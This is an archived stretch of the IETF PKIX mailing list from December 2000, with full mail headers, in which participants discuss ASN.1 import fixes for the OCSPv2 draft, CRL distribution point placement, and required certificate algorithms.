>     InformationFramework module, which has an IMPLICIT
>     tags default. Type GeneralName is defined in the
>     X.509 CertificateExtensions module which also has
>     an IMPLICIT tags default, and type GeneralName is
>     not defined in the PKIX1Explicit88 module that is
>     referenced by OCSP.
> 
>     Suggested change follows.
>     
>     Note that in the OCSP IMPORTS statement, the current 
>     version (4th edition) of the Directory standards are
>     not referenced.
> 
>     Suggest changing the OCSP IMPORTS statement to the
>     following:
> 
> 
>    -- Directory Information Framework (X.501) --
> 
>    Name 
>       FROM InformationFramework { 
>          joint-iso-itu-t ds(5) module(1) informationFramework(1) 3 }
> 
>    -- Directory Authentication Framework (X.509) --
> 
>    AlgorithmIdentifier, Certificate, CertificateSerialNumber,
>    Extensions
>       FROM AuthenticationFramework { 
>          joint-iso-itu-t ds(5) module(1) 
>             authenticationFramework(7) 4 }
> 
>    -- Directory Certificate Extensions (X.509) --
> 
>    CRLReason, GeneralName
>       FROM CertificateExtensions {
>          joint-iso-itu-t ds(5) module(1) 
>             certificateExtensions(26) 4 }
> 
>    -- PKIX (RFC 2459) --
> 
>    AuthorityInfoAccessSyntax
>       FROM PKIX1Implicit93 { 
>          iso(1) identified-organization(3) dod(6) internet(1)
>             security(5) mechanisms(5) pkix(7) id-mod(0) 
>                id-pkix1-implicit-93(4) }
> 
>    id-ad-ocsp, id-kp 
>       FROM PKIX1Explicit93 {
>          iso(1) identified-organization(3) dod(6) internet(1) 
>             security(5) mechanisms(5) pkix(7) id-mod(0) 
>                id-pkix1-explicit-93(3) }
> 
>    -- Cryptographic Message Syntax
> 
>    IssuerAndSerialNumber
>       FROM CryptographicMessageSyntax {
>          iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1)
>             pkcs-9(9) smime(16) modules(0) cms(1) };
> 
> [3] Type ReqCert references type IssuerandSerialNumber (note
>     lowercase "and") in both the document text and the ASN.1
>     module. But the OCSP module imports IssuerAndSerialNumber.
> 
>     Suggest changing this spelling to "And" in both places.
> 
> [4] The definition of module OCSP specifies an EXPLICIT
>     tags default. This means that none of the uses of the
>     EXPLICIT tagging modifier are needed elsewhere in the
>     module, and they tend to make the ASN.1 more difficult
>     to read.
> 
>     Suggest removing the text "EXPLICIT" from all places
>     in this standard except for the one occurrence needed
>     in the OCSP module definition statement.
> 
> [5] The comment on the definition of type UnknownInfo
>     should be removed, as it will likely lead to problems
>     of interworking between applications. If it is desired
>     that both NULL and ENUMERATED be allowed, I suggest
>     that type UnknownInfo be defined explicitly as a 
>     CHOICE type.
> 
> Phil
> ----
> Phillip H. Griffin      Griffin Consulting
> http://asn-1.com        Secure ASN.1 Design & Implementation
> +1-919-832-7008         1625 Glenwood Avenue, Five Points
> +1-919-832-7390 [fax]   Raleigh, North Carolina  27608  USA
> ------------------------------------------------------------
> 


Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id SAA25061 for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 18:45:05 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id <YVKXP167>; Tue, 12 Dec 2000 21:47:47 -0500
Message-ID: <8D7EC1912E25D411A32100D0B76953975424BE@scygmxs01.cygnacom.com>
From: Santosh Chokhani <chokhani@cygnacom.com>
To: Russ Housley <housley@spyrus.com>, "Jayant Sane (Exchange)" <jayant@eLock.com>
Cc: Pkix List <ietf-pkix@imc.org>
Subject: RE: Question about CRL DP
Date: Tue, 12 Dec 2000 21:41:25 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C064AE.2FE7C760"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C064AE.2FE7C760
Content-Type: text/plain;
	charset="iso-8859-1"

RFC 2459 is weak in the area of CRL DP processing.  If you want to do this
securely, please look at Annex B in Draft 2000 version of X.509 standard

-----Original Message-----
From: Russ Housley [mailto:housley@spyrus.com]
Sent: Tuesday, December 12, 2000 8:36 AM
To: Jayant Sane (Exchange)
Cc: Pkix List
Subject: Re: Question about CRL DP


RFC 2459, section 4.2.1.14 says:

    The CRL distribution points extension identifies how CRL information
    is obtained.  The extension SHOULD be non-critical, but this profile
    recommends support for this extension by CAs and applications.
    Further discussion of CRL management is contained in section 5.

    If the cRLDistributionPoints extension contains a
    DistributionPointName of type URI, the following semantics MUST be
    assumed: the URI is a pointer to the current CRL for the associated
    reasons and will be issued by the associated cRLIssuer.  The expected
    values for the URI are those defined in 4.2.1.7. Processing rules for
    other values are not defined by this specification.  If the
    distributionPoint omits reasons, the CRL MUST include revocations for
    all reasons. If the distributionPoint omits cRLIssuer, the CRL MUST
    be issued by the CA that issued the certificate.

We should probably be more explicit in the first sentence.  The CRL DP 
extension tells how to obtain CRL information for the certificate that 
contains the extension.  I will try to improve the sentence before 
son-of-RFC 2459 goes to last call.

Russ

At 03:52 PM 12/11/2000 -0500, Jayant Sane wrote:
>This might be a naive question.
>
>Is it allowed/std practice to put the CRLDP extension in the issuer(CA) 
>cert such that the crl pointed to contains/lists revoked end-entity certs 
>(issued by it).
>I came across following certificate.
>End-entity cert has an AIA extension pointing to its issuer cert and the 
>issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to 
>a CRL containing end-entity certs. The specs have'nt been very clear on 
>the placement of this extension (unless I am overlooking something) -- 
>whether it is more appropriate to put the CRLDP in the end-entity cert 
>itself as compared to the CA cert.
>The one in the CA could be interpreted as one pointing to the CRL issued 
>its issuer.
>
>Some clarification would be greatly appreciated.
>
>thanks,
>Jayant

------_=_NextPart_001_01C064AE.2FE7C760
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Question about CRL DP</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>RFC 2459 is weak in the area of CRL DP =
processing.&nbsp; If you want to do this securely, please look at Annex =
B in Draft 2000 version of X.509 standard</FONT></P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Russ Housley [<A =
HREF=3D"mailto:housley@spyrus.com">mailto:housley@spyrus.com</A>]</FONT>=

<BR><FONT SIZE=3D2>Sent: Tuesday, December 12, 2000 8:36 AM</FONT>
<BR><FONT SIZE=3D2>To: Jayant Sane (Exchange)</FONT>
<BR><FONT SIZE=3D2>Cc: Pkix List</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Question about CRL DP</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>RFC 2459, section 4.2.1.14 says:</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; The CRL distribution points =
extension identifies how CRL information</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; is obtained.&nbsp; The extension =
SHOULD be non-critical, but this profile</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; recommends support for this =
extension by CAs and applications.</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; Further discussion of CRL =
management is contained in section 5.</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; If the cRLDistributionPoints =
extension contains a</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; DistributionPointName of type =
URI, the following semantics MUST be</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; assumed: the URI is a pointer to =
the current CRL for the associated</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; reasons and will be issued by the =
associated cRLIssuer.&nbsp; The expected</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; values for the URI are those =
defined in 4.2.1.7. Processing rules for</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; other values are not defined by =
this specification.&nbsp; If the</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; distributionPoint omits reasons, =
the CRL MUST include revocations for</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; all reasons. If the =
distributionPoint omits cRLIssuer, the CRL MUST</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; be issued by the CA that issued =
the certificate.</FONT>
</P>

<P><FONT SIZE=3D2>We should probably be more explicit in the first =
sentence.&nbsp; The CRL DP </FONT>
<BR><FONT SIZE=3D2>extension tells how to obtain CRL information for =
the certificate that </FONT>
<BR><FONT SIZE=3D2>contains the extension.&nbsp; I will try to improve =
the sentence before </FONT>
<BR><FONT SIZE=3D2>son-of-RFC 2459 goes to last call.</FONT>
</P>

<P><FONT SIZE=3D2>Russ</FONT>
</P>

<P><FONT SIZE=3D2>At 03:52 PM 12/11/2000 -0500, Jayant Sane =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt;This might be a naive question.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;Is it allowed/std practice to put the CRLDP =
extension in the issuer(CA) </FONT>
<BR><FONT SIZE=3D2>&gt;cert such that the crl pointed to contains/lists =
revoked end-entity certs </FONT>
<BR><FONT SIZE=3D2>&gt;(issued by it).</FONT>
<BR><FONT SIZE=3D2>&gt;I came across following certificate.</FONT>
<BR><FONT SIZE=3D2>&gt;End-entity cert has an AIA extension pointing to =
its issuer cert and the </FONT>
<BR><FONT SIZE=3D2>&gt;issuer cert has both AIA, to its issuer, and =
CRLDP persumably pointing to </FONT>
<BR><FONT SIZE=3D2>&gt;a CRL containing end-entity certs. The specs =
have'nt been very clear on </FONT>
<BR><FONT SIZE=3D2>&gt;the placement of this extension (unless I am =
overlooking something) -- </FONT>
<BR><FONT SIZE=3D2>&gt;whether it is more appropriate to put the CRLDP =
in the end-entity cert </FONT>
<BR><FONT SIZE=3D2>&gt;itself as compared to the CA cert.</FONT>
<BR><FONT SIZE=3D2>&gt;The one in the CA could be interpreted as one =
pointing to the CRL issued </FONT>
<BR><FONT SIZE=3D2>&gt;its issuer.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;Some clarification would be greatly =
appreciated.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;thanks,</FONT>
<BR><FONT SIZE=3D2>&gt;Jayant</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C064AE.2FE7C760--


Received: from ns1.49thietf.org (ietf.207.137.80.5.tx.verio.net [207.137.80.5]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA23235 for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 17:45:02 -0800 (PST)
Received: from revelation (ietf.207.137.72.86.tx.verio.net [207.137.72.86]) by ns1.49thietf.org (8.9.3+Sun/8.9.3) with SMTP id RAA06421 for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 17:47:40 -0800 (PST)
Reply-To: <jimsch@nwlink.com>
From: "Jim Schaad" <jimsch@nwlink.com>
To: "IETF-PKIX \(E-mail\)" <ietf-pkix@imc.org>
Subject: Required Algorithms for Certificates
Date: Tue, 12 Dec 2000 17:45:55 -0800
Message-ID: <000001c064a6$7f8ab780$564889cf@soaringhawk.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt) again,
I remembered that I did have one problem with the draft.  I think that it is
fine that the certificate structure draft does not contain algorithm
information.  However I feel that the algorithms draft needs to have some
MUST style statements contained in it.  I propose adding the following text:

To fully comply with this document, implementations MUST support DSA
Signature (section 2.2.2).  Implementations MAY support MD2 RSA signatures
for validation but MUST NOT create new certificates using this algorithm.
Implementations MAY support all other algorithms in this document at their
discretion.

jim schaad



Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA28601 for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 08:51:44 -0800 (PST)
Received: from asn-1.com (user-2ivf1ol.dialup.mindspring.com [165.247.135.21]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id LAA10006 for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 11:54:19 -0500 (EST)
Message-ID: <3A3658F9.CDDCEE15@asn-1.com>
Date: Tue, 12 Dec 2000 11:57:29 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting  
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: pkix list <ietf-pkix@imc.org>
Subject: Comments on draft-ietf-pkix-ocspv2-01
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Following are comments on minor glitches I found in 
the OCSP ASN.1 module in draft-ietf-pkix-ocspv2-01.txt.


[1] The definition of type OCSPResponseStatus is in
    error due to style. A comment "--No more data available }"
   makes the required trailing "}" missing:

   OCSPResponseStatus ::= ENUMERATED {
                  snip
      noMoreData            (7)       --No more data available }

   Suggest changing the comment to bind this text with a
   second trailing "--" to yield "--No more data available -- }"

[2] The OCSP module attempts to import type CRLReason 
    from X.509 module AuthenticationFramework. But this
    enumerated type is not defined in that module, but is
    defined in the X.509 module CertificateExtensions {
    joint-iso-itu-t ds(5) module(1) 
    certificateExtensions(26) 4 }

    Suggested change follows.

    Note that the X.509 AuthenticationFramework module 
    defines well known ASN.1 types required by the OCSP 
    module, but which are imported from elsewhere. Types 
    CertificateSerialNumber and Extensions should be
    imported from the AuthenticationFramework module.

    Suggested change follows.

    The OCSP module attempts to import types GeneralName
    and Name from a module that has an EXPLICIT tags
    default. But type Name is defined in the X.501 
    InformationFramework module, which has an IMPLICIT
    tags default. Type GeneralName is defined in the
    X.509 CertificateExtensions module which also has
    an IMPLICIT tags default, and type GeneralName is
    not defined in the PKIX1Explicit88 module that is
    referenced by OCSP.

    Suggested change follows.
    
    Note that in the OCSP IMPORTS statement, the current 
    version (4th edition) of the Directory standards are
    not referenced.

    Suggest changing the OCSP IMPORTS statement to the
    following:


   -- Directory Information Framework (X.501) --

   Name 
      FROM InformationFramework { 
         joint-iso-itu-t ds(5) module(1) informationFramework(1) 3 }

   -- Directory Authentication Framework (X.509) --

   AlgorithmIdentifier, Certificate, CertificateSerialNumber,
   Extensions
      FROM AuthenticationFramework { 
         joint-iso-itu-t ds(5) module(1) 
            authenticationFramework(7) 4 }

   -- Directory Certificate Extensions (X.509) --

   CRLReason, GeneralName
      FROM CertificateExtensions {
         joint-iso-itu-t ds(5) module(1) 
            certificateExtensions(26) 4 }

   -- PKIX (RFC 2459) --

   AuthorityInfoAccessSyntax
      FROM PKIX1Implicit93 { 
         iso(1) identified-organization(3) dod(6) internet(1)
            security(5) mechanisms(5) pkix(7) id-mod(0) 
               id-pkix1-implicit-93(4) }

   id-ad-ocsp, id-kp 
      FROM PKIX1Explicit93 {
         iso(1) identified-organization(3) dod(6) internet(1) 
            security(5) mechanisms(5) pkix(7) id-mod(0) 
               id-pkix1-explicit-93(3) }

   -- Cryptographic Message Syntax

   IssuerAndSerialNumber
      FROM CryptographicMessageSyntax {
         iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1)
            pkcs-9(9) smime(16) modules(0) cms(1) };

[3] Type ReqCert references type IssuerandSerialNumber (note
    lowercase "and") in both the document text and the ASN.1
    module. But the OCSP module imports IssuerAndSerialNumber.

    Suggest changing this spelling to "And" in both places.

[4] The definition of module OCSP specifies an EXPLICIT
    tags default. This means that none of the uses of the
    EXPLICIT tagging modifier are needed elsewhere in the
    module, and they tend to make the ASN.1 more difficult
    to read.

    Suggest removing the text "EXPLICIT" from all places
    in this standard except for the one occurrence needed
    in the OCSP module definition statement.

[5] The comment on the definition of type UnknownInfo
    should be removed, as it will likely lead to problems
    of interworking between applications. If it is desired
    that both NULL and ENUMERATED be allowed, I suggest
    that type UnknownInfo be defined explicitly as a 
    CHOICE type.

Phil
----
Phillip H. Griffin      Griffin Consulting
http://asn-1.com        Secure ASN.1 Design & Implementation
+1-919-832-7008         1625 Glenwood Avenue, Five Points
+1-919-832-7390 [fax]   Raleigh, North Carolina  27608  USA
------------------------------------------------------------


Received: from mail.spyrus.com (mail.spyrus.com [207.212.34.20]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA26200 for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 08:10:00 -0800 (PST)
Received: from RHOUSLEY-PC.spyrus.com (ietf.207.137.70.175.tx.verio.net [207.137.70.175]) by mail.spyrus.com (8.9.3/8.9.3) with ESMTP id IAA09940; Tue, 12 Dec 2000 08:08:18 -0800 (PST)
Message-Id: <5.0.1.4.2.20001212081843.0297a2d0@mail.spyrus.com>
X-Sender: rhousley@mail.spyrus.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Tue, 12 Dec 2000 08:35:43 -0500
To: "Jayant Sane \(Exchange\)" <jayant@eLock.com>
From: Russ Housley <housley@spyrus.com>
Subject: Re: Question about CRL DP
Cc: "Pkix List" <ietf-pkix@imc.org>
In-Reply-To: <040701c063b4$4c261080$15e7533f@elock.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

RFC 2459, section 4.2.1.14 says:

    The CRL distribution points extension identifies how CRL information
    is obtained.  The extension SHOULD be non-critical, but this profile
    recommends support for this extension by CAs and applications.
    Further discussion of CRL management is contained in section 5.

    If the cRLDistributionPoints extension contains a
    DistributionPointName of type URI, the following semantics MUST be
    assumed: the URI is a pointer to the current CRL for the associated
    reasons and will be issued by the associated cRLIssuer.  The expected
    values for the URI are those defined in 4.2.1.7. Processing rules for
    other values are not defined by this specification.  If the
    distributionPoint omits reasons, the CRL MUST include revocations for
    all reasons. If the distributionPoint omits cRLIssuer, the CRL MUST
    be issued by the CA that issued the certificate.

We should probably be more explicit in the first sentence.  The CRL DP 
extension tells how to obtain CRL information for the certificate that 
contains the extension.  I will try to improve the sentence before 
son-of-RFC 2459 goes to last call.

Russ

At 03:52 PM 12/11/2000 -0500, Jayant Sane wrote:
>This might be a naive question.
>
>Is it allowed/std practice to put the CRLDP extension in the issuer(CA) 
>cert such that the crl pointed to contains/lists revoked end-entity certs 
>(issued by it).
>I came across following certificate.
>End-entity cert has an AIA extension pointing to its issuer cert and the 
>issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to 
>a CRL containing end-entity certs. The specs have'nt been very clear on 
>the placement of this extension (unless I am overlooking something) -- 
>whether it is more appropriate to put the CRLDP in the end-entity cert 
>itself as compared to the CA cert.
>The one in the CA could be interpreted as one pointing to the CRL issued 
>its issuer.
>
>Some clarification would be greatly appreciated.
>
>thanks,
>Jayant



Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA12695 for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 05:17:19 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <XJNAQX82>; Tue, 12 Dec 2000 08:10:20 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD8262F0@sottmxs09.entrust.com>
From: Sharon Boeyen <sharon.boeyen@entrust.com>
To: "'Jayant Sane (Exchange)'" <jayant@eLock.com>, Pkix List <ietf-pkix@imc.org>
Subject: RE: Question about CRL DP
Date: Tue, 12 Dec 2000 08:20:09 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0643E.40193E40"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0643E.40193E40
Content-Type: text/plain;
	charset="iso-8859-1"

The CRL distribution points extension can appear in either a CA-certificate
or an end-entity certificate. Regardless of the certificate type, the
revocation list pointed to is one that would list the certificate (if it had
been revoked) that contains the extension. So, if you find the extension in
a CA-certificate it is pointing to an ARL (or a CRL that contains revocation
notices for CA-certificates). While it is possible that the revocation list
being pointed to also contains revocation notices for end-entity certs, you
can't assume that from this instance of the extension. That would be
indicated separately in the end-entity certs themselves.
 
Hope this helps
Sharon

-----Original Message-----
From: Jayant Sane (Exchange) [mailto:jayant@eLock.com]
Sent: Monday, December 11, 2000 3:52 PM
To: Pkix List
Subject: Question about CRL DP


This might be a naive question. 
 
Is it allowed/std practice to put the CRLDP extension in the issuer(CA) cert
such that the crl pointed to contains/lists revoked end-entity certs (issued
by it). 
I came across following certificate. 
End-entity cert has an AIA extension pointing to its issuer cert and the
issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to a
CRL containing end-entity certs. The specs have'nt been very clear on the
placement of this extension (unless I am overlooking something) -- whether
it is more appropriate to put the CRLDP in the end-entity cert itself as
compared to the CA cert.
The one in the CA could be interpreted as one pointing to the CRL issued its
issuer. 
 
Some clarification would be greatly appreciated.
 
thanks,
Jayant


------_=_NextPart_001_01C0643E.40193E40
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.3105.105" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><SPAN class=101060813-12122000></SPAN><FONT size=2><FONT 
color=#0000ff><FONT face=Arial>T<SPAN class=101060813-12122000>he CRL 
distribution points extension can appear in either a CA-certificate or an 
end-entity certificate. Regardless of the certificate type, the revocation list 
pointed to is one that would list the certificate (if it had been revoked) that 
contains the extension. So, if you find the extension in a CA-certificate it is 
pointing to an ARL (or a CRL that contains revocation notices for 
CA-certificates). While it is possible that the revocation list being pointed to 
also contains revocation notices for end-entity certs, you can't assume that 
from this instance of the extension. That would be indicated separately in the 
end-entity certs themselves.</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=2><FONT color=#0000ff><FONT face=Arial><SPAN 
class=101060813-12122000></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=2><FONT color=#0000ff><FONT face=Arial><SPAN 
class=101060813-12122000>Hope this helps</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=2><FONT color=#0000ff><FONT face=Arial><SPAN 
class=101060813-12122000>Sharon</SPAN></FONT></FONT></FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV class=OutlookMessageHeader><FONT face="Times New Roman" 
  size=2>-----Original Message-----<BR><B>From:</B> Jayant Sane (Exchange) 
  [mailto:jayant@eLock.com]<BR><B>Sent:</B> Monday, December 11, 2000 3:52 
  PM<BR><B>To:</B> Pkix List<BR><B>Subject:</B> Question about CRL 
  DP<BR><BR></DIV></FONT>
  <DIV><FONT face=Arial size=2>This might be a naive question. </FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>Is it allowed/std practice to put the CRLDP 
  extension in the issuer(CA) cert such that the crl pointed to contains/lists 
  revoked end-entity certs (issued by it). </FONT></DIV>
  <DIV><FONT face=Arial size=2>I came across following certificate. 
</FONT></DIV>
  <DIV><FONT face=Arial size=2>End-entity cert has an AIA extension pointing to 
  its issuer cert and the issuer cert has both AIA, to its issuer, and CRLDP 
  persumably pointing to a CRL containing end-entity certs. The specs have'nt 
  been very clear on the placement of this extension (unless I&nbsp;am 
  overlooking something) -- whether it is more appropriate to put the&nbsp;CRLDP 
  in the end-entity cert itself as compared to the CA cert.</FONT></DIV>
  <DIV><FONT face=Arial size=2>The one in the CA could be interpreted as one 
  pointing to the CRL issued its issuer. </FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>Some clarification would be greatly 
  appreciated.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>thanks,</FONT></DIV>
  <DIV><FONT face=Arial size=2>Jayant</FONT></DIV></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C0643E.40193E40--


Received: from mail.hobsoft.com.mt ([195.158.123.43]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA08041 for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 00:45:08 -0800 (PST)
Received: from yuppi (10.111.111.34) by mail.hobsoft.com.mt (Worldmail 1.3.167) for ietf-pkix@imc.org; 12 Dec 2000 09:29:51 +0100
Message-ID: <00c301c06417$e9cf8290$226f6f0a@yuppi>
From: "Aaron Galea" <agalea@hobsoft.com.mt>
To: <ietf-pkix@imc.org>
Subject: Certificates - X.509
Date: Tue, 12 Dec 2000 09:45:43 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_00C0_01C06420.4B7D0730"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

This is a multi-part message in MIME format.

------=_NextPart_000_00C0_01C06420.4B7D0730
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

I have a problem when creating a certificate Payload. In RFC2408 it =
mentions 3 types of X.509 certificates, mainly: =20
  1.. X.509 Certificate - Signature                    4=20
  2.. X.509 Certificate - Key Exchange            5=20
  3.. x.509 Certificate - Attribute                    10=20
What is the difference between them??? or there is any other document =
that explain this??? The problem is that the SSL functions I am using =
return a whole X509 structure. It doesn't distinguish between these =
X.509.=20

Thanks,
Aaron

------=_NextPart_000_00C0_01C06420.4B7D0730
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><FONT face=3DArial><FONT size=3D-1>I =
have a problem=20
when creating a certificate Payload. In RFC2408 it mentions 3 types of =
X.509=20
certificates, mainly:</FONT></FONT>&nbsp; </DIV>
<OL>
  <LI><FONT face=3DArial><FONT size=3D-1>X.509 Certificate -=20
  =
Signature&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  4</FONT></FONT>=20
  <LI><FONT face=3DArial><FONT size=3D-1>X.509 Certificate - Key=20
  =
Exchange&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;=20
  5</FONT></FONT>=20
  <LI><FONT face=3DArial><FONT size=3D-1>x.509 Certificate -=20
  =
Attribute&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  10</FONT></FONT> </LI></OL>
<DIV><FONT face=3DArial><FONT size=3D-1>What is the difference between =
them??? or=20
there is any other document that explain this???</FONT></FONT>&nbsp;The =
problem=20
is that the SSL functions I am using return a whole X509 structure. It =
doesn't=20
distinguish between these X.509. </DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial><FONT size=3D-1>Thanks,</FONT></FONT></DIV>
<DIV><FONT face=3DArial><FONT=20
size=3D-1>Aaron</FONT></FONT></FONT></DIV></BODY></HTML>

------=_NextPart_000_00C0_01C06420.4B7D0730--



Received: from pdcfairfax.elock.com ([63.83.231.13]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA05891 for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 12:54:05 -0800 (PST)
Received: from ROCK207 ([63.83.231.21]) by pdcfairfax.elock.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id X6T46WQ5; Mon, 11 Dec 2000 15:52:02 -0500
Message-ID: <040701c063b4$4c261080$15e7533f@elock.com>
From: "Jayant Sane \(Exchange\)" <jayant@eLock.com>
To: "Pkix List" <ietf-pkix@imc.org>
Subject: Question about CRL DP
Date: Mon, 11 Dec 2000 15:52:25 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_0404_01C0638A.5B8EDD60"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600

This is a multi-part message in MIME format.

------=_NextPart_000_0404_01C0638A.5B8EDD60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

This might be a naive question.=20

Is it allowed/std practice to put the CRLDP extension in the issuer(CA) =
